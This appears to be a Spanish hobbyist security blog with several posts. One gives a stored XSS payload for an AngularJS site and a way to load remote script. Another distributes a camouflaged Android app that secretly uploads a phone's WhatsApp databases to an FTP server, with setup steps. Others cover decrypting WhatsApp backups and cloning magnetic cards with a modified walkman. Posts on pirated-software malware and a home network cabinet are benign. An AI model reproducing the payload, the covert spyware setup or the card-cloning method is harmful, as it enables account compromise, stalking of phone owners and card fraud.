martes, 4 de junio de 2019

[hack] Inyección de código persistente en angular

Vaya que ha pasado tiempo desde las últimas entradas. Pareciera que cada vez tengo menos tiempo, pero también hay que tener en claro que el desarrollo web avanza muy rápido y hace falta estar actualizado permanentemente para no perder el hilo. Hace unos años era el furor el acceso remoto a equipos mediante RATs a los que se les quitaba la firma de los antivirus, el redireccionmiento del trafico de red para robar credenciales era algo que cualquiera con una notbook podía hacer, e inclusive era muy probable encontrar con web que permitiera algún tipo de inyección de código.
Hoy en día la seguridad ha mejorado muchísimo y estos ataques han disminuido considerablemente. Los componentes externos y/o frameworks ya nos protegen bastantes de casos básicos de hacking aunque... aún podemos encontrarnos con algunas particularidades. Como el caso descubrí hace poco tiempo en un sistema web al que ya reporté al personal correspondiente.


En los últimos años la utilización de frameworks como Angular en la construcción de sistemas y webs dinámicas se ha expandido considerablemente, una de las ventajas principales es el bindeo dinámico, es decir que no requiere recargar la página para traer cambios de datos.  Un ejemplo muy sencillo es el de insertar las variables del controlador en las vistas (utilizan el patrón modelo-vista-controlador para separar la lógica, los datos y la vista), utilizando doble llaves "{{ variable }}". De esta manera al renderizar la página se muestra los valores que se le ha asignado y a la hora de un cambio este lo muestra automáticamente.
Hasta ahí con la teoría, pero siguiendo esta lógica ¿Qué me impide insertar código?
La ventaja en primera medida es que lo renderizado por angular es escapado y presentado visualmente como parte de la pagina, así un código es representado como un simple texto. El mismo framework nos brinda métodos para sanitizar elementos inseguros, y en todo lo que es Angular 2 en adelante cuando un elemento puede ser inseguro, este no es renderizado y se nos muestra un mensaje por consola al respecto.
A pesar de esto, en las versiones de angular js es posible ejecutar código javascript accediendo por propiedades de javascript a elementos del DOM y demás (dependiendo de la versión).

Volviendo al caso del sistema, una de las recomendaciones de angular es "Nunca genere el código fuente de la plantilla concatenando entradas y plantillas del usuario" y si a esto le sumamos que el código viene almacenado desde la base de datos, BOM! tenemos un lindo bug para explotar.
En el sistema en cuestión, la pagina mostraba datos de usuarios como título y descripción a partir de otra sección configurables por el usuario. Revisando el código de la página desde chrome se encontraba algo como lo siguiente:

Al principio podemos ver que utilizan prefijo "dx-" lo que implica que utilizan una librería para estilos o generación de algunos elementos de la página. Si buscamos el sitio web de la librería, en (este caso devextreme), podemos extraer ejemplos y probar los elementos en la misma web.

Si intentamos añadir una etiqueta html o código en el ejemplo que nos brinda, podemos ver que no se renderiza como html, entonces ya sabemos que el sistema anterior está generando código concatenando o si se encuentra bien hecho, en un componente o template especifico para esa porción.
Basta con hacer una prueba para darnos cuenta si es posible introducir código.

</a><script> alert("hacked"); </script><a>Nada pasó aquí

ya tenemos nuestro exploit.


Ahora cada vez que un usuario entre a la página verá algo como lo siguiente:


En el caso que no se quisiera dejar algo sospechoso, al cerrar y volver a crear la etiqueta html, nos aseguramos de que la página no se rompa. Y en caso de estar limitado los caracteres el exploit se podría realizar alojando externamente el código, recortando la url con páginas como tiny url o google. E inyectarlo como un atributo de la etiqueta script, como <script src="url malisiosa"></script> .

Finalmente hay que entender que el ataque puede ser grave, mas que un simple mensaje de alerta. Se podría desfacear la página completa, robar credenciales de usuario, o inclusive cargar suits completas de exploits y atacar las maquinas de los usuarios.

martes, 11 de octubre de 2016

¿Hacker o software espía? La conexión no es privada

Hola a todos, ya hace alrededor de 2 años desde la última entrada y es que he andado liado con otras actividades sin poder terminar mucho de los proyectos que tenía pensado. Eso y el hecho que me hayan hecho firmar un acuerdo de confidencialidad, que tampoco me permitía realizar proyectos que compitieran con el ente en cuestión, me ha hecho abandonar el blog. Pero, en fin, ese ya es otro tema.
El otro día con mi notebook principal ocupada, me decidí a utilizar la netbook (que la tengo relegada, para algunas cosas especificas de programación) y vaya sorpresa la mía, cuando veo que no podía acceder a algunos sitios mas conocidos.
Si recordamos algunas entradas como "Las paginas juegan con nuestros datos" donde luego de interceptar la comunicación podíamos ver los datos que se enviaban por la red. Puse como ejemplo el caso de Windows Live que avisaba al usuario de dicho acto


Hace poco, salió una noticia de que Google quería combatir las paginas http que no están cifradas para reducir esto del robo de datos y demás:
http://staff5.com/chrome-quiere-acabar-las-paginas-http/
Inclusive, hoy en día los exploradores mas conocidos nos protegen bastante de muchas estafas.

En mi caso, cuando intentaba acceder a sitios conocidos que utilizan https como google, windows live, entre otros. Me salía un alerta de que mi conexión había sido interceptada.



¿Realmente podía ser posible?, un hacker en mi red?. ¡Vamos!, que he hecho cosas en el pasado que se considerarían poco ortodoxas, para el bien de la ciencia (? . Pero, ¿alguien en mi red? muy raro.

Podría usar algún programa que me diga si hay alguna maquina en modo promiscuo sniffeando la red, tipo Promqry (esta aplicación la sacó microsoft hace mucho años ya para ayudarnos en windows con estos temas).
Pero antes de continuar con la paranoia, si analizo la red con algún escaner de red en busca de los dispositivos conectados, solo encuentro dispositivos conocidos (según puedo ver comparando las direcciones MAC).


¿Y si fuera un programa malicioso?
Para un primer vistazo,  revisamos los programas que se ejecutan al iniciar el sistema. Existen varias formas, como se han tratado en diferentes entradas en este blog. Simplemente desde el registro, o utilizando alguna aplicación como Tuneup, ccleaner etc.
En este caso utilicé el autoruns, una herramienta proporcionada por microsoft que muestra una lista completa de todas las aplicaciones, servicios y procesos que se ejecutan al inicio.


Luego de buscar entre las aplicaciones y no ver nada extraño. Quizá podría haber algún comportamiento extraño, como una conexión en algún puerto. Para eso solo basta con ejecutar el comando netstat-b en la consola (actualmente requiere iniciar la consola como administrador)

Viendo los resultados no encuentro ninguna conexión abierta, lo que indica que no hay ningún proceso que se esté conectando a otro remotamente. Es decir que si existe, al menos no se está ejecutando independientemente y debe iniciarse con determinado proceso.
Por ejemplo, al abrir firefox normalmente muestra algo como lo siguiente:

En la imagen anterior se ven simplemente conexiones locales, por lo que si existe esta supuesta aplicación maliciosa, está tunelizando las conexiones y envenenando o los procesos de los exploradores lanzándose con la ejecución de ellos, o algún componente de windows.
Como no tengo instalado un antivirus, busco una de las herramienta que tengo como indispensable, hago un escaneo rápido y sí!, el anti malware, encuentra unas librerías, descritas como Trojan.FakeAlert .

Aunque quizá no sea el troyano en sí, la heurística del malwarebytes detecta que tiene rutinas similares. Justamente, una de las características del malware es mostrar sitios con falsos resultados de infecciones para que intentes descargar otros malwares, o incluso suscribirte a cuentas premium etc. El explorador al detectar que el certificado de seguridad del https no era valido, directamente lo bloqueaba.
Al ver esas librerías, finalmente recordé que al estar haciendo un trabajo, para hacer unas pruebas me pasaron unos instaladores de sql server. Y al parecer no eran muy legales que digamos.

Así que ya saben, tengan cuidado con el software pirata. O de donde descargan software, si bien los exploradores están evolucionando cada vez mas para protegernos, esto no es certeza de ello.

Saludos, y hasta la próxima entrada!.

sábado, 19 de abril de 2014

[Hack] Crypt5 la nueva seguridad de WhatsApp y Como ver las conversaciones (android)

Desinformado de la nueva actualizacion de WhatsApp, hace un tiempo leyendo unos papers de las convenciones de seguridad informática, encontré uno que hablaba sobre las nuevas medidas de seguridad que estaba aplicando whatsapp y me enteré de que habían cambiado su algoritmo de cifrado (mas vale tarde que nunca) y con él, los archivos a una extensión crypt5.
Profundizando mas en el tema, para realizar el cifrado es necesario además contar con la cuenta de correo asociada al smartphone. 
La clave utilizada para el cifrado también cambió y ha estado haciendo eco en distintos foros underground. El cifrado no es mas que AES CBC de 192 bits, al cual se le aplica un hash md5 del correo y se combina con la key y un vector de inicializacion.
Basado en la información, he actualizado el WhatsAppDecrypt para poder desencriptar tanto la versión vieja (en caso de que no tengan las actualizaciones automática) y la versión nueva crypt5.

Solo deben Descargar y Extraer la carpeta, luego su archivo msgstore debe estar en la misma carpeta que el programa y abrir el WhatsAppDecryptV2.exe

Desencriptando archivos .crypt:


Desencriptando archivos .crypt5:

Si no encuentra un archivo que desencriptar saldrá el siguiente mensaje:
Una vez desencriptado solo hay que obtener las conversaciones ya sea con algún programa para leer la base de datos como el SQLite Manager o convirtiéndolas a un formato legible con la aplicacion que programe para tal fin, WhatsAppLogExtractor v2


Descargar: WhatsAppDecrypt v2

Descargar: WhatsAppDecrypt v2 y WhatsAppLogExtractor v2

miércoles, 10 de julio de 2013

SpyAndroidFtp: Backup diario de tus conversaciones de Whatsapp a un servidor FTP

ACTUALIZACION(10/04/2014): Atencion, han hecho actualizaciones en whatsapp, y es probable que la aplciacion no funcione correctamente con las ultimas versiones de whatsapp. Estaré trabajando mientras tanto, para solucionarlo. 

Con el fin de automatizar el proceso de recuperación de la base de datos de whatsapp y adentrarme un poco en esto de la programación de aplicaciones para smartphones.
Anteriormente escribí unas entradas sobre como obtener las base de datos de whatsapp en Android
http://gonzac-studios.blogspot.com.ar/2012/03/hack-obtener-mensajes-de-whatsapp.html
y como desencriptar estas mismas.
http://gonzac-studios.blogspot.com.ar/2012/06/hack-desencriptar-y-obtener-datos-de.html
Incluso subí un programa para extraer y ordenar las conversaciones para una mejor lectura.

Pero tener que buscar la base de datos, conectar al equipo y pasarlos manualmente me parecía algo tedioso, si lo que se quiere es tener un respaldo en el PC. Entonces se me ocurrió, porque no mejor que una aplicación realice un respaldo cada cierto tiempo y lo envié a un servidor. Y que ademas sea transparente para el usuario.

SpyAndroidFtp (aun esta en su versión beta), te permite mantener un respaldo de tu base de datos de whatsapp 'msgstore.db.crypt' que son subidas cada 30 minutos a un servidor FTP en el cual tengamos cuenta. Ademas de hacer una recopilación del estado de red actual de nuestro smartphone, en caso de estar conectado por wifi y así mantener una estadística de la distancia, uso y redes.
Solo se requiere abrir la aplicación una sola vez para cargar los datos del servidor, y al salir un servicio seguirá enviando los archivos, incluso luego de encender y apagar el smartphone.

Screenshots:
Icono SpyAndroidFtp   


  • Camuflaje:Icono y nombre, no relacionado. Pantalla principal, texto y titulo no descriptivo. contraseña de seguridad única. (openyourmind)

 
  • Interfaz simple, comprobación del usuario, estado de la conexión y envió de datos.

DESCARGA: LINK

Configurar nuestro servidor
Para ello, no se requiere grandes conocimientos. Solo usaremos un web hosting gratuito cualquiera.
Yo voy a usar de ejemplo 000webhost.com , pero ustedes pueden utilizar cualquier otro incluso uno servidor propio o hosting de pago.

1-Elegimos "Free Hosting" y hacemos click en "Order now"

 2-Completamos los datos, donde dice "yourdomain.com" no lo tocamos, es solo si tenemos un dominio propio. Abajo completamos con el nombre que queramos, en mi caso "spyandroid", luego el nombre de usuario y contraseña.

3-Una vez confirmado el mail, nos logeamos y debemos entrar al CPanel "Go to CPanel"

4-En el CPanel, vamos a la parte "Files"  y luego a "View FTP Details"

5-Podremos ver los datos y cambiar la contraseña de nuestro FTP, recuerden anotarlos son los que usará el SpyAndroidFtp.
 

6- Volviendo al CPanel, en la parte "Files" tenemos también el "File Manager" donde podremos ver los archivos subidos luego de que configuremos el SpyAndroidFtp, y descargarlos. Pueden sino, descargar un programa como el "Filezilla" y loguearse con los datos del FTP y así no tener que abrir la pagina.

Instalar aplicaciones desde la sdcard
Una vez descargada la aplicación y copiada a la tarjeta de memoria del smartphone, solo hay que tener habilitada la opción instalar aplicaciones desde orígenes desconocidos, entrando a la parte de configuración,  a "ajustes"->"aplicaciones" y marcar la casilla.

E instalarlas desde el explorador de internet, escribiendo la direccion "file:///sdcard/spyandroidftp.apk"
también pueden usar un explorador de archivos, o aplicación para tal fin.

Aclaración: Al iniciar la aplicación va a pedir la contraseña (openyourmind), la primera vez que ingresen los datos puede que surja un error, volverá a la pantalla inicial y deberán colocar nuevamente los datos. Y no deberían tener ningún problema. Recuerden salir, de la pantalla con los botones para tal fin, así no queda a la vista.

miércoles, 13 de febrero de 2013

Gabinete de Red Local en casa

Quizá parecería innecesario tener un gabinete en casa, pero apuesto a mas de uno que debe tener un gran desorden de cable, y mucho mas aun aquellos que en lugar de un módem con wireless tienen por el router por un lado y el módem por otro. Ademas de unificar esto en un solo espacio, lo que se pretende es agregar otras funcionalidades que mejoren su rendimiento.
En primer lugar un temporizador, los que tengan un router les habra pasado almenos una vez que este pierde la conexión, por lo que tienen que desenchufar, esperar unos 20seg y volver a conectar. Para simplificar esto un temporizador al presionar un boton, desconecta la alimentación durante aproximadamente los 20seg y vuelve a conectar todo nuevamente.
En segundo lugar, un sensor de temperatura que mantiene la temperatura encendiendo unos ventiladores para evitar el recalentamiento por el uso constante.

TEMPORIZADOR MONOESTABLE:
-El conosidicimo 555 es ideal para esta función, si bien existen otras formas a partir de varicaps etc. Este integrado permite realizarlo de forma sencilla con unos poco componentes y fáciles de conseguir. El funcionamiento es realmente sencillo (aunque se necesite conocer la forma en que trabaja interiormente), el capacitor C3 inicialmente esta descargado, al accionar el switch se produce un pulso negativo en el pin 2 del integrado que internamente es un comparador conectado a un flip-flop interno (para quienes no saben es un dipositivo que puede permanecer en uno de sus dos estados), este flip-flop cambia su estado haciendo funcionar un transistor interno que habilita al capacitor y permite una salida en el pin 3 que activa  el transistor Q1 y a su vez un Relé (Este puede ser reemplazado por un Optoacoplador u otra circuito).
El capacitor irá cargandose lentamente, y una vez llegado a una capacidad aproximadamente de 2/3 el comparador volverá a resetear el flip-flop y dejará de enviar una salida al pin 3.
Como el tiempo esta dado por  VR1 y el capacitor C3, lo ideales colocar un potenciometro de 100k para regular el tiempo deseado. Luego el D1 es simplemente un diodo rectificador 1N4007 pero puede ser algun otro, para prevenir de corrientes inversas. Y el transistor NPN solo actua como interruptor, puede ser un BC548, 2n3904, 2n2222 etc. Yo creo que utilicé c945 que se encuentra casi en cualquier placa.
A ultimo momento se me ocurrió añadir ademas un led indicador, este simplemente se conecta antes de la resistencia del transistor, con una resistencia de 680ohm al led y el negativo del led a tierra.

COMPARADOR DE TEMPERATURA:
-Como verá cambie la palabra sensor a comparador, porque esta vez quise hacer algo diferente. Si bien se puede utilizar un sensor tipo lm35, estos son mucho mas preciso de lo que realmente se necesita, a menos que se requiera una temperatura de trabajo determinada. Por lo que decidí hacerlo mediante unos diodos rectificadores comunes. Y verán, el funcionamiento es muy sencillo.
Lo primero es tomar la alimentación y dividir en dos ramas con resistencias iguales, para mantener el mismo voltaje en las dos tramas y colocar adecuadamente los dos diodos en serie sin que interfieran. Para poder comparar las dos ramas se utiliza un Amplificador Operacional, este puede trabajar de varias formas y una de ellas es como Comparador, donde el voltaje de referencia se aplica a la entrada inversora (la que tiene el - ) y por la "no inversora" (+) el voltaje a comparar. Cuando la señal sea ligeramente superior, saturará el amplificador y la salida será alta permitiendo activar un transistor junto a un relé, optoacoplador u otro circuito.

Se utiliza un potenciometro de 100k (VR1) para poder regularlo según se desee, los diodos D1 y D2 son diodos rectificadores 1n4001, como todo componente tiene una resistencia interna. Estos deberian trabajar normalmete a temperatura ambiente, por lo que a medida que incrementa la temperatura el voltaje decrece -2mV/Cº. El Amplificador Operacional puede ser cualquiera, en este caso yo utilicé un 6562 (doble operacional) que encontre por ahi y viene en un encapsulado de 8 pines. Por ultimo el Q1 es un transistor PNP BC558, pero puede ser cualquier equivalente.

GABINETE:
-Esta parte depende de cada uno, se necesita de almenos dos tomacorrientes para cada transformador.
Y se conecta al contacto normalmente cerrado (nc) del relé. Ejemplo


-Para mi gabinete utilicé un CPU viejo que donaron para la ocasión, ya que lo estaban por desechar. Debo admitir que cuando me dijeron que hacia años que no se usaba no me imaginaba que tan deteriorado iba a estar.
Al parecer el oxido y el moho habían atacado gran parte del interior. Luego de eliminar los componentes, hacia falta remover los remaches para dejar solamente la estructura.
Una vez listo, solo hacia falta remover el moho y el oxido para poder pintarlo.

 Lo ideal es colocar una capa de convertidor de oxido o antioxido y luego de secarse utilizar aerosol para un acabado brillante y mas vistoso.
Para la conexión a la linea eléctrica, se me ocurrió aprovechar la fuente con su conector.
Solo era cuestión de cortar el lateral y volverlo a montar. Para soldar los conectores y poder cablearlo.
Finalmente se monta todo, los dispositivos van sobre una base, con unas perforaciones para los fan de la  ventilacion y el diodo de referencia se coloca afuera para que trabaje a temperatura ambiente, mientras que el otro se coloca debajo de donde se quiere controlar la temperatura. Acá el antes y el después:

 ----------------------------
 Algunas recomendaciones y mejoras: aislar todas las pistas, soldaduras y conexiones donde se trabaje con el voltaje de linea. Colocar interruptores para el encendido y el apagado total o parcial. Agregar un conector telefonico para chasis, crimpear un cable de red a medida, sellar las aberturas con acrílico, conectarlo a un UPS junto al teléfono inalámbrico para seguir online durante algún corte de luz. O inclusive se podria manejar la velocidad de los ventiladores como se vió en:
http://gonzac-studios.blogspot.com.ar/2010/05/mini-proyecto-regulador-de-ventiladores.html
Lo demas es solo cuestion de ingenio!.

viernes, 4 de enero de 2013

[Hack] Tarjetas magnéticas al descubierto.

Aclaración: Esto no es un tutorial. Gonzac Studios no se hace responsable por el mal uso de este material.

En el recuerdo quedo aquella vieja escena de Terminator 2 donde John Connor utilizaba su Atari Portafolio para extraer dinero de un cajero con una tarjeta robada. La escena aunque impresionante carecía de fundamentos en lo que respecta al funcionamiento de las tarjetas magnéticas.

Como la mayoría sabrá, las tarjetas magnéticas tienen una banda magnética que le permite almacenar información (generalmente identificación del usuario, pero puede almacenar otro tipo información). Y quizá sea los únicos medios magnéticos que se ven en la actualidad, ya que cassettes,  video cassettes, disckettes, etc; han quedado obsoletos.
Hoy en día, ha tenido muchísima difusión el skimming. Un tipo de fraude, consiste en clonar las tarjetas magnéticas. Y generalmente es difícil de detectar sino hasta que ya es tarde, debido a que cualquiera puede acceder a un lector de tarjetas, y no requiere ningún de método de comprobación. Inclusive en Internet venden kits para cajeros automáticos.
Recuerdo cuando tuve un poco mas de conocimiento en electrónica pude darme cuenta lo fácil que podía ser guardar la información incluyendo la proveniente del tecleado, con un circuito integrado programable. Y es por eso que hoy se ha expandido este tipo de robo.
*Pueden ver varios ejemplos en el blog de krebs.

¿Puedo clonar mi propia tarjeta?
La verdad que seria muy útil poder tener un duplicado de nuestra tarjeta en ciertos casos, por razones de seguridad, para reemplazar una tarjeta deteriorada etc.
La respuesta es si, ¿es legal? No. Las entidades se toman muy enserio la seguridad con respecto esto, ademas de cualquier "error" que pueda ocasionar una demanda. Y lo mas probable es que si te descubren con una tarjeta clonada, aunque sea tuya, tengas que dar declaraciones al respecto.

¿Hace falta un lector especifico, un software especializado y/o descifrar los datos?
Basándome en el principio de funcionamiento, la respuesta es: No necesariamente.
La banda magnética tiene almacenada la información en un formato determinado. Pero al leer esta información los datos deben ser enviados en forma de señal eléctrica y estas ondas son las que pueden almacenarse y reproducirse.
Como no hace falta "interpretar" la información, todos los "datos" se puede capturar en forma de señales.
Y para hacerlo mas entretenido voy a mostrar un ejemplo con un viejo walkman.
Obviamente antes hay que desarmarlo y hacerles unas pequeñas modificaciones.
El walkman va conectado directamente al pc, mediante un cable desde salida de los auriculares del walkman y la entrada del micrófono del pc. Se Agrega un capacitor de 10uF y una resistencia de 4,7k para mejorar la respuesta.
 Para alimentar el walkman se utilizó un circuito similar al visto en el "regulador de ventiladores de pc", solo que este se conecta al usb.
Lo ideal seria conectar la entrada al pin 2 y entre la 1 y 2 conectar un polyswitch (fusible rearmable) de 100 a 300mA para cuidar de posibles cortos.
Obviamente el lector magnético debe estar fijo y a una altura que permita leer la banda a una medida especifica. Según lo que se desea almacenar, las tarjetas pueden utilizar hasta 3 franjas dentro de la banda oscura.
Si observamos unos repuestos de lectoras, podemos ver que hay de 2 franjas y de 3. Esto es porque muchas dejan la tercer franja sin utilizar.
Una vez conectado todo, solo se graba y se almacena. Obviamente esa señal de onda al ampliar la escala de tiempo se puede descomponer en distintos ciclo de onda que representa niveles lógicos. Como en redes, la conversión digital/digital es decir niveles lógicos a señal puede hacerse de múltiples formas y también es utilizado en otros medios. En este caso se encuentra relacionado con la conversión bifásica, mas específicamente "manchester diferencial" donde por cada dígito le corresponde un valor alto y bajo. Siempre comenzando por uno alto, repitiéndose el patrón anterior por cada 0 e invirtiéndose la onda al aparecer un 1.
Como la idea no es leer y descifrar el contenido de la tarjeta. Lo que voy a hacer es simular la cinta magnética induciendo la señal en un material ferromagnético. Y para ello es necesario amplificar la señal, así como cuando se tiene un parlante mas grande.
Se utiliza un potenciometro de 10k (VR1) para graduar la intensidad, y la bobina esta hecha de un material ferromagnetico que corte al cual se le enrolla un alambre de cobre esmaltado ultra delgado similar al de las bobinas de las radios viejas, con aproximadamente 90 vueltas.
Y así quedaría terminado el "prototipo", luego solo habría que pasarlo a una plaqueta para poder transportarlo con facilidad.
Acá un vídeo de la prueba de funcionamiento

-------------------------------------------------
Quería hacer solo una analogía a la escena de Terminator, el dispositivo puede ser modificado para usarlo en cualquier dispositivo portátil, o inclusive con un integrado de la familia del isd2560.
Saludos